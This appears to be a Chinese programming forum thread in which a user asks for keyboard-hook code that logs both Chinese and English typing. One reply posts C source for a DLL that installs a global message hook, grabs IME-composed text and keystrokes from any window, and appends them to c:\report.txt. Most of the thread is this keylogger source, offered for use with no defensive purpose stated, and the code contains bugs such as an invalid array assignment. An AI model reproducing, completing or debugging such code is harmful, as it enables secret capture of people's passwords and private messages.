哪位好心能给我传一下可用的键盘钩子代码,要 能记录中英文的。找了以个晚上一般情况下只能记录英文的,实在太无语了。
QQ邮箱吧: [email protected]

解决方案 »

  1.   

    英文用 键盘钩子
    中文要用 WM_IME_COMPOSITION但是这样的话,记录中文的时候,也会把输入的按键记录下来吧
      

  2.   

    我这里倒是有找到一个代码,用对话框能正确的输出代码,但是保存到文件里面的时候却是乱码,谁能帮我看下么:#include "windows.h"
    #include "imm.h"
    #include "stdio.h"
    #define HOOK_API __declspec(dllexport) 
    char temp[20];
    HHOOK g_hHook = NULL; //hook句柄
    HINSTANCE g_hHinstance = NULL; //程序句柄LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)

    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
    PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION && wParam == PM_REMOVE){
    HIMC hIMC;
    HWND hWnd=pmsg->hwnd;
    DWORD dwSize;
    char ch;
    char lpstr[20];
    memset(temp,0,20);
    switch (pmsg->message)
    {
    case WM_IME_COMPOSITION:
    {if(pmsg->lParam & GCS_RESULTSTR)
    {
    //先获取当前正在输入的窗口的输入法句柄
    hIMC = ImmGetContext(hWnd);
    if (!hIMC)
    {
    //MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
    }// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);// 缓冲区大小要加上字符串的NULL结束符大小,
    // 考虑到UNICODE
    dwSize += sizeof(WCHAR);memset(lpstr, 0, 20);// 再调用一次.ImmGetCompositionString获取字符串
    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
    MessageBox(NULL, lpstr, lpstr, MB_OK); 
    temp=lpstr;
    ImmReleaseContext(hWnd, hIMC);
    }
    }
    break;
    case WM_CHAR: //截获发向焦点窗口的键盘消息
    {
    FILE* f1;
    f1=fopen("c:\\report.txt","a+");
    if(strlen(temp)>0)
    {
    fwrite(temp,1,sizeof(temp),f1);
    fwrite("!!!",1,3,f1);
    memset(temp,0,20);
    }
    else
    {ch=(char)(pmsg->wParam);
    fwrite(&ch,1,1,f1);}
    fclose(f1); 
    }
    break;
    }
    }return(lResult);
    }HHOOK  InstallHook()
    {
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return g_hHook;
    } BOOL UnHook(HHOOK g_hHook)

    return UnhookWindowsHookEx(g_hHook);

    BOOL APIENTRY DllMain( HANDLE hModule, 
    DWORD ul_reason_for_call, 
    LPVOID lpReserved
    )
    {
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    g_hHinstance=(HINSTANCE)hModule;
    break;
    case DLL_THREAD_ATTACH:
    break;
    case DLL_THREAD_DETACH:
    break;
    case DLL_PROCESS_DETACH:
    UnHook(g_hHook);
    break;
    }
    return TRUE;
    }